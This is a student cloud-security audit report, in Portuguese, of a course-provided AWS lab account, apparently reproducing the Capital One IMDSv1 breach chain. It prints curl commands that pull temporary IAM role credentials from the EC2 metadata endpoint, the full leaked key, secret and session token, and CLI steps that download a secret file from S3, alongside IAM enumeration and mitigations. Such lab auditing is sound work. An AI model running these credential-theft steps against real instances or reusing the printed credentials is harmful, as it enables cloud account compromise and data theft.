RELATÓRIO DE AUDITORIA

DE SEGURANÇA IAM NA AWS – DESAFIO CAPITAL ONE 2.0 (VERSÃO ESTENDIDA)

Checkpoint 01 - Cloud Security & DevSecOps
FIAP - Turma 2TDCPG

Disciplina:	Cloud Security & DevSecOps
Turma:	2TDCPG
Aluno:	Eric Kinoshita Lessa (RM559216)
	João Batista Juca da Silva Cardoso (RM559003)
	Kaique Barsi Auricchio (RM563446)
Data:	04 de Abril de 2026
Conta AWS:	826496717404
Instância EC2:	i-0308b779f441aab6e (18.222.190.88)

SUMÁRIO

1. Resumo Executivo
2. Escopo e Metodologia
3. Descobertas e Vulnerabilidades
    3.1 IMDSv1 Habilitado na Instância EC2
    3.2 Acesso a Dados Sensiveis via Role Permissiva
    3.3 Usuário IAM com Privilegios de Administrador
    3.4 Ausência de MFA em Usuário Privilegiado
    3.5 Chave de Acesso Ativa Não Utilizada
4. Resumo das Vulnerabilidades
5. Recomendações de Mitigação
6. Conclusão
7. Referências

1. Resumo Executivo

Este relatório apresenta os resultados da auditoria de segurança realizada no ambiente AWS da conta 826496717404, conforme solicitado no Checkpoint 01 da disciplina de Cloud Security & DevSecOps. A avaliação focou na identificação de vulnerabilidades relacionadas ao gerenciamento de identidades e acessos (IAM) e na configuração de recursos de armazenamento (S3).

Durante a auditoria, foram identificadas **5 vulnerabilidades**, sendo 1 de gravidade **crítica**, 2 de gravidade **alta** e 2 de gravidade **media**. A combinação dessas falhas permite que um atacante com acesso a instância EC2 extraia credenciais temporárias via IMDSv1, acesse dados sensíveis armazenados no S3 e, potencialmente, escale privilégios utilizando o usuário administrativo mal configurado.

As principais descobertas incluem a habilitação do Instance Metadata Service versão 1 (IMDSv1) na instância EC2, a presença de um usuário IAM com política AdministratorAccess anexada diretamente, ausência de autenticação multifator (MFA) em usuários privilegiados e uma chave de acesso ativa nunca utilizada, representando um risco de credencial órfã.

2. Escopo e Metodologia

2.1 Escopo

A auditoria abrangeu os seguintes recursos da conta AWS 826496717404:

- Instância EC2 (i-0308b779f441aab6e) no IP 18.222.190.88
- Serviço de metadados da instância (IMDS)
- Role IAM EC2S3AccessRole e política EC2S3AccessPolicy
- Bucket S3 sensitive-data-s3-bucket-checkpoint01
- Usuários IAM (admin-user-vulnerable, aluno-ec2-user, auditor_student_1 a 9, stephane)
- Configurações de MFA e chaves de acesso

2.2 Metodologia

A auditoria seguiu as seguintes etapas:

- **Acesso inicial:** Conexao SSH a instância EC2 utilizando credenciais fornecidas pelo professor (usuário ec2-user / 2tdcpg).
- **Exploração do IMDS:** Consulta ao serviço de metadados da instância para verificar a versão do IMDS e extrair credenciais temporárias da role IAM anexada.
- **Teste de acesso ao S3:** Configuração do AWS CLI com as credenciais temporárias obtidas e tentativa de acesso ao bucket sensível.
- **Auditoria de IAM:** Enumeração de usuários, roles, políticas anexadas, grupos, dispositivos MFA e chaves de acesso utilizando a AWS CLI.
- **Análise e documentação:** Classificação das vulnerabilidades por gravidade e elaboração de recomendações de mitigação.

2.3 Ferramentas Utilizadas

Ferramenta	Versão / Detalhes
SSH (OpenSSH)	Cliente SSH nativo do Windows
AWS CLI v2	aws-cli/2.x (instalado via MSI)
curl	Disponível na instância EC2 (Amazon Linux)
CMD (Windows)	Terminal de comandos do Windows

3. Descobertas e Vulnerabilidades

3.1 - IMDSv1 Habilitado na Instância EC2

Gravidade	ALTA
Recurso Afetado	Instância EC2 i-0308b779f441aab6e (IP: 18.222.190.88)
Serviço	EC2 Instance Metadata Service (IMDS)

O Instance Metadata Service versão 1 (IMDSv1) está habilitado na instância EC2. O IMDSv1 permite que qualquer processo rodando na instância acesse metadados sensíveis, incluindo credenciais temporárias da role IAM anexada, sem necessidade de autenticação por token. Isso torna a instância vulnerável a ataques de Server-Side Request Forgery (SSRF), onde um atacante pode forçar a aplicação a fazer requisições ao endpoint de metadados (169.254.169.254) e obter credenciais válidas.

Evidências:

O comando `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` retornou o nome da role **EC2S3AccessRole** sem exigir token de sessão, confirmando que o IMDSv1 está ativo:

```
[2tdcpg@ip-172-31-40-189 ~]$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
EC2S3AccessRole[2tdcpg@ip-172-31-40-189 ~]$
```

Figura 1: curl ao IMDS retornando o nome da role EC2S3AccessRole sem token

Em seguida, foi possível extrair as credenciais temporárias completas (AccessKeyId, SecretAccessKey e Token) da role:

```
[2tdcpg@ip-172-31-40-189 ~]$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
EC2S3AccessRole[2tdcpg@ip-172-31-40-189 ~]$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2S3AccessRole
{
  "Code" : "Success",
  "LastUpdated" : "2026-04-04T01:54:39Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA4A3YLCJODY65NHCQ",
  "SecretAccessKey" : "3fo/H18S980nxygn8+5iWH1bhVNv6j+/bqxCPQZ+",
  "Token" : "IQoJb33pZ2luX2VjEMr/////////wEaCXVzLWVhc3QtMiJIMEYCIQCyRbnHTETeuFEQsfKRT4ZZCCNM57L6zSbrVw+Hql84AwIhANAb0MjAgyuPzagOYW4m5MaCAhZzPLTIwliGAA2paNB+KsYFC3P/////////wEQABoMODI2NDk2NzE3NDA0IgyOASkkKY6U4mAGrEcqmgXwWI+n65ZH8XQmnEgTNR6sgbK6w35GpUhkPa1waCpm8YTQc4bXxu7RKf6e5HN7GRsQfB2BuKtYvCL67wtM5RoqdXiMDp1sIr7XPZy7KA6oZcUWo3WAMjlzz2KXTQ+V6/AEty7+wFOmO5+pVMvG7qa+qEDSh1BhCCBkBlHS+aBFm/MycLK+mW0RRIjh01Jh+T7EaaWfJKqxNGKqbekZGlatlIK3ASCf5vuSVqcQ6yHZhHm+BEJagAxWMldRvkjpjAmVk4jvf/hzv3vB5CR4ZC2EqxNyg14VI37Pgx0OeNxsBWr3o4IoS+Px+u4quvFFDKpMrEp5i5fo5pVKbXBXornZHk+0XxmfxdEh+cirxUjcpHG j+qAJEsC/nr4MFDBWjRgpfZg1Vd8XIpmKYiAk07t1SnPVOQS2+NQphAFiRqVFf2lVHqxIAgvLrtBnwm2QreL+c4Eo75kSCnx5lPJmRbicZ0ZbAwf/DutqkMc3jBex u5CfDpMJRzxxyo/F21Pwj2e3m6HOuFGz6LQ5Tpoe3XpB1HPI8+GvJRhsW+mpqvOchPDuJ7/RUQ3S0r6N1DbP0I3CMzgJTkn9kb0RjVp9rb8MYYj6ppPFJDj0nVV3QtWFfmIISv7qHbnxin0erNwRuRlgemKDyDmFNR6byDl18XGkaLa3ikw5f8YgaoT1R75KX/jpmwlfStn3vphH8wfLupZrkKt7xnuhL1A3taQgEAeKL 5t7lL+1qVvHIk+7bT7UCyhfir0sTPWqlHReDMP9w10nCJT26mTsI9Em1cR//PkXDvpQ8NhNIj5+TWo3Pwl3mfV/svQQ7j4+lLDvnlzj+iyhTAcBkL4jX4lbCT5QzUpEoFTeqOxzFcl9R2XuU4W869vldpGrcfmMIuhN/BzgY6sAE7X82y+x1m7StigvM+plj22F+fBa330HU6GNB+msdxer0OncR9xzKTAbAxEXr9SFlz 8EYgXp7BHnZu8FUyJHtiU0Ir1gyhUXWf5BAsjU3l8ApVcvqlsSqFXlAFl1mHvOOnLJqKkgounh8hOaIFvOAx9iseIpt9ppXAk9aa+qGW3c/hF9CptEdCFrNFuKHoa4SoMbBACf/RIpJuwv3thy0Y3I3KVgVbFub4IGO8jfCkA+",
  "Expiration" : "2026-04-04T08:01:35Z"
}[2tdcpg@ip-172-31-40-189 ~]$
```

Figura 2: Credenciais temporárias extraidas via IMDSv1

Impacto:

Um atacante com acesso a instância (via SSH, execução remota de código ou SSRF) pode obter credenciais IAM válidas e utilizá-las para acessar recursos da AWS. Este vetor de ataque é amplamente conhecido e foi utilizado no incidente de segurança da Capital One em 2019.

Recomendação:

Desabilitar o IMDSv1 e exigir o uso exclusivo do IMDSv2, que requer um token de sessão PUT antes de permitir acesso aos metadados:

```
aws ec2 modify-instance-metadata-options \   --
instance-id i-0308b779f441aab6e \
  --http-tokens required \
  --http-endpoint enabled
```

Gravidade	ALTA

Recurso Afetado	Role IAM EC2S3AccessRole + Bucket S3 sensitive-data-s3-bucket-checkpoint01
Política	EC2S3AccessPolicy (arn:aws:iam::826496717404:policy/EC2S3AccessPolicy)

A role EC2S3AccessRole, anexada a instância EC2, possui a política EC2S3AccessPolicy que concede permissões de **s3:GetObject** e **s3:ListBucket** ao bucket `sensitive-data-s3-bucket-checkpoint01`. Combinada com a vulnerabilidade do IMDSv1 (item 3.1), isso permite que um atacante acesse dados sensíveis armazenados no bucket.

Evidências:

Após configurar o AWS CLI com as credenciais temporárias obtidas, foi possível confirmar a identidade assumida:

```
C:\Users\JUCA>aws configure set region us-east-1 --profile temp

C:\Users\JUCA>aws sts get-caller-identity --profile temp
{
    "UserId": "AROA4A3YLCJOBZIGWRENJ:i-0308b779f441aab6e",
    "Account": "826496717404",
    "Arn": "arn:aws:sts::826496717404:assumed-role/EC2S3AccessRole/i-0308b779f441aab6e"
}

C:\Users\JUCA>
```

Figura 3: Confirmação da identidade assumida (EC2S3AccessRole)

O conteúdo do bucket foi listado e o arquivo **secret.txt** foi baixado com sucesso:

```
C:\Users\JUCA>aws s3 ls s3://sensitive-data-s3-bucket-checkpoint01/ --profile temp
2026-03-25 16:36:16         46 secret.txt

C:\Users\JUCA>
```

Figura 4: Listagem do bucket S3 contendo secret.txt

```
C:\Users\JUCA>aws s3 cp s3://sensitive-data-s3-bucket-checkpoint01/secret.txt . --profile temp
download: s3://sensitive-data-s3-bucket-checkpoint01/secret.txt to .\secret.txt

C:\Users\JUCA>
```

Figura 5: Download do arquivo secret.txt

```
C:\Users\JUCA>type secret.txt
Este e um segredo muito importante: Senha123!

C:\Users\JUCA>_
```

Figura 6: Conteúdo do arquivo sensível ("Este e um segredo muito importante: Senha123!")

A política EC2S3AccessPolicy confirma as permissões concedidas:

```
[2tdcpg@ip-172-31-40-189 ~]$ aws iam get-policy-version --policy-arn arn:aws:iam::826496717404:policy/EC2S3AccessPolicy --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": [
                        "s3:GetObject",
                        "s3:ListBucket"
                    ],
                    "Resource": [
                        "arn:aws:s3:::sensitive-data-s3-bucket-checkpoint01",
                        "arn:aws:s3:::sensitive-data-s3-bucket-checkpoint01/*"
                    ]
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2026-03-25T19:37:31+00:00"
    }
}
```

Figura 7: Documento da política EC2S3AccessPolicy (s3:GetObject, s3:ListBucket)

Impacto:

O arquivo sensível continha a string `Este e um segredo muito importante: Senha123!`, demonstrando que dados confidenciais podem ser exfiltrados. Em um cenário real, isso poderia incluir credenciais de banco de dados, chaves de API, dados pessoais de clientes ou informações financeiras.

Recomendação:

Aplicar o principio do menor privilégio a política EC2S3AccessPolicy, restringindo o acesso apenas aos recursos estritamente necessários. Adicionar condições baseadas em IP de origem, VPC endpoint ou MFA. Implementar criptografia do lado do servidor (SSE-S3 ou SSE-KMS) e ativar o logging de acesso (S3 Access Logging e CloudTrail).

Gravidade	CRÍTICA
Recurso Afetado	Usuário IAM admin-user-vulnerable
Política Anexada	AdministratorAccess (arn:aws:iam::aws:policy/AdministratorAccess)
Grupos	Nenhum
Políticas Inline	Nenhuma

O usuário IAM **admin-user-vulnerable** possui a política gerenciada pela AWS **AdministratorAccess** anexada diretamente. Esta política concede permissões irrestritas (`Action: "*", Resource: "*"`) sobre todos os serviços e recursos da conta AWS. O usuário não pertence a nenhum grupo, o que indica que a política foi atribuida de forma ad-hoc, sem governança adequada.

Evidências:

```
Last failed login: Sat Apr  4 03:06:15 UTC 2026 from 45.183.241.7 on ssh:notty
There were 6 failed login attempts since the last successful login.
Last login: Sat Apr  4 02:43:21 2026 from 45.183.241.7
[2tdcpg@ip-172-31-40-189 ~]$ aws iam list-attached-user-policies --user-name admin-user-vulnerable
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}
[2tdcpg@ip-172-31-40-189 ~]$
```

Figura 8: Política AdministratorAccess anexada ao usuário admin-user-vulnerable

```
[2tdcpg@ip-172-31-40-189 ~]$ aws iam list-user-policies --user-name admin-user-vulnerable
{
    "PolicyNames": []
}
[2tdcpg@ip-172-31-40-189 ~]$
```

Figura 9: Nenhuma política inline definida

```
}
[2tdcpg@ip-172-31-40-189 ~]$ aws iam list-groups-for-user --user-name admin-user-vulnerable
{
    "Groups": []
}
```

Figura 10: Usuário não pertence a nenhum grupo IAM

Impacto:

Se as credenciais deste usuário forem comprometidas (por phishing, vazamento, força bruta ou engenharia social), um atacante teria controle total sobre a conta AWS, podendo: exfiltrar todos os dados de todos os serviços, criar backdoors (novos usuários/roles), deletar recursos e backups, modificar logs do CloudTrail para encobrir rastros, e utilizar recursos para mineração de criptomoedas ou ataques a terceiros.

Recomendação:

Remover imediatamente a política AdministratorAccess e substituir por políticas específicas seguindo o principio do menor privilégio. Utilizar grupos IAM para gerenciar permissões de forma centralizada. Implementar MFA obrigatório. Considerar o uso de AWS Organizations com Service Control Policies (SCPs) para limitar privilégios máximos.

Gravidade	MEDIA
Recurso Afetado	Usuário IAM admin-user-vulnerable
MFA Devices	Nenhum configurado

O usuário **admin-user-vulnerable**, que possui privilégios de administrador completo (conforme item 3.3), não tem nenhum dispositivo de autenticação multifator (MFA) configurado. A ausência de MFA em um usuário com este nível de privilégio representa uma camada de proteção ausente, facilitando o comprometimento da conta em caso de vazamento de credenciais.

Evidências:

```
[2tdcpg@ip-172-31-40-189 ~]$ aws iam list-mfa-devices --user-name admin-user-vulnerable
{
    "MFADevices": []
}
[2tdcpg@ip-172-31-40-189 ~]$
```

Figura 11: Nenhum dispositivo MFA configurado para admin-user-vulnerable

Impacto:

Sem MFA, a única barreira de proteção para este usuário administrativo é a senha. Se a senha for fraca, reutilizada ou vazada, não há segunda camada de verificação para impedir acesso não autorizado. Dado que este usuário tem AdministratorAccess, o impacto de um comprometimento seria total.

Recomendação:

Habilitar MFA (preferencialmente hardware FIDO2/U2F ou TOTP virtual) para todos os usuários IAM, com prioridade para usuários com privilégios elevados. Criar uma política IAM que negue acesso a serviços até que o MFA esteja ativo na sessão (condição `aws:MultiFactorAuthPresent`).

3.5 - Chave de Acesso Ativa Não Utilizada

Gravidade	MEDIA
Recurso Afetado	Usuário IAM admin-user-vulnerable
Access Key ID	AKIA4A3YLCJOHTEEYU4U
Status	Active
Último Uso	N/A (nunca utilizada)

O usuário **admin-user-vulnerable** possui uma chave de acesso (Access Key) com status **Active** que **nunca foi utilizada** (ServiceName: N/A, Region: N/A). Chaves de acesso ativas mas não utilizadas representam um risco de credencial órfã: se a chave for comprometida, pode ser usada para acesso programático com privilégios de administrador sem que o uso seja percebido.

Evidências:

```
[2tdcpg@ip-172-31-40-189 ~]$ aws iam list-access-keys --user-name admin-user-vulnerable
{
    "AccessKeyMetadata": [
        {
            "UserName": "admin-user-vulnerable",
            "AccessKeyId": "AKIA4A3YLCJOHTEEYU4U",
            "Status": "Active",
            "CreateDate": "2026-03-25T19:30:16+00:00"
        }
    ]
}
[2tdcpg@ip-172-31-40-189 ~]$ aws iam get-access-key-last-used --access-key-id AKIA4A3YLCJOHTEEYU4U
{
    "UserName": "admin-user-vulnerable",
    "AccessKeyLastUsed": {
        "ServiceName": "N/A",
        "Region": "N/A"
    }
}
[2tdcpg@ip-172-31-40-189 ~]$
```

Figura 12: Chave de acesso ativa nunca utilizada (ServiceName: N/A)

Impacto:

Uma chave de acesso ativa com privilégios de AdministratorAccess que nunca foi utilizada indica falta de controle sobre credenciais. Se distribuida indevidamente ou exposta em repositorios de código (ex: GitHub), pode permitir acesso programático irrestrito a toda a conta AWS.

Recomendação:

Desativar ou excluir imediatamente chaves de acesso que não estejam em uso. Implementar uma política de rotação de chaves (máximo 90 dias). Utilizar o IAM Credential Report e o AWS Config para monitorar chaves inativas. Preferir o uso de roles IAM com credenciais temporárias em vez de chaves de acesso de longa duração.

4. Resumo das Vulnerabilidades

#	Vulnerabilidade	Recurso	Gravidade
3.1	IMDSv1 habilitado	Instância EC2	ALTA
3.2	Acesso a dados sensíveis via role	EC2S3AccessRole + S3	ALTA
3.3	Usuário com AdministratorAccess	admin-user-vulnerable	CRÍTICA
3.4	Ausência de MFA	admin-user-vulnerable	MEDIA
3.5	Chave de acesso ativa não utilizada	admin-user-vulnerable	MEDIA

Distribuição por gravidade:

Crítica	1
Alta	2
Media	2
Total	**5**

5. Recomendações de Mitigação

1. Migrar para IMDSv2 Prioridade: ALTA

Configurar todas as instâncias EC2 para exigir IMDSv2 (http-tokens=required). Isso impede a extração de credenciais via requisições GET simples, exigindo um token PUT prévio que não pode ser obtido via SSRF em headers HTTP padrão.

2. Aplicar principio do menor privilégio Prioridade: CRÍTICA

Revisar todas as políticas IAM para garantir que usuários e roles possuam apenas as permissões estritamente necessárias. Remover a política AdministratorAccess do usuário admin-user-vulnerable e substituir por políticas específicas.

3. Implementar MFA obrigatório Prioridade: ALTA

Habilitar MFA para todos os usuários IAM, com prioridade para contas com privilégios elevados. Criar políticas IAM que condicionem acesso a recursos sensíveis a presença de MFA.

4. Gerenciar chaves de acesso Prioridade: MEDIA

Desativar ou excluir chaves de acesso não utilizadas. Implementar rotação automática a cada 90 dias. Utilizar o IAM Credential Report para auditoria periódica. Preferir roles com credenciais temporárias (STS) em vez de chaves de longa duração.

5. Proteger buckets S3 Prioridade: MEDIA

Ativar criptografia do lado do servidor (SSE-KMS). Habilitar versionamento e logging de acesso. Revisar políticas de bucket para garantir que não haja acesso público indevido. Utilizar VPC endpoints para restringir acesso de rede.

6. Monitoramento e auditoria Prioridade: MEDIA

Ativar o AWS CloudTrail em todas as regiões. Configurar alertas no CloudWatch para eventos críticos (uso de credenciais de root, alterações em IAM, acesso a buckets sensíveis). Considerar o uso do AWS GuardDuty para detecção de ameaças.

6. Conclusão

A auditoria de segurança realizada no ambiente AWS da conta 826496717404 revelou um cenário com múltiplas vulnerabilidades interconectadas que, quando exploradas em cadeia, permitem o acesso não autorizado a dados sensíveis.

O vetor de ataque principal identificado consiste na exploração do IMDSv1 para obtenção de credenciais temporárias da role EC2S3AccessRole, que por sua vez concedem acesso de leitura ao bucket S3 contendo dados sensíveis. Paralelamente, a presença de um usuário com privilégios de administrador sem MFA e com chave de acesso ativa não utilizada representa um risco crítico de comprometimento total da conta.

As vulnerabilidades encontradas refletem falhas comuns em ambientes cloud, amplamente documentadas em frameworks como o CIS AWS Foundations Benchmark e nas boas práticas do AWS Well-Architected Framework (pilar de segurança). A implementação das recomendações apresentadas neste relatório reduziria significativamente a superfície de ataque e alinharia o ambiente as melhores práticas de segurança em nuvem.

7. Referências

[1] AWS - Configuring the Instance Metadata Service

https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html

[2] AWS - IAM Best Practices

https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html

[3] AWS - Grant Least Privilege

https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#grant-least-privilege

[4] AWS - Enabling MFA Devices for Users in AWS

https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_enable.html

[5] AWS - Managing Access Keys for IAM Users

https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html

[6] AWS - S3 Security Best Practices

https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html

[7] CIS Amazon Web Services Foundations Benchmark

https://www.cisecurity.org/benchmark/amazon_web_services

[8] Capital One Data Breach - SSRF + IMDSv1 Exploitation (2019)

https://blog.appsecco.com/an-ssrf-privileged-aws-keys-and-the-capital-one-breach-4c3c2cded3af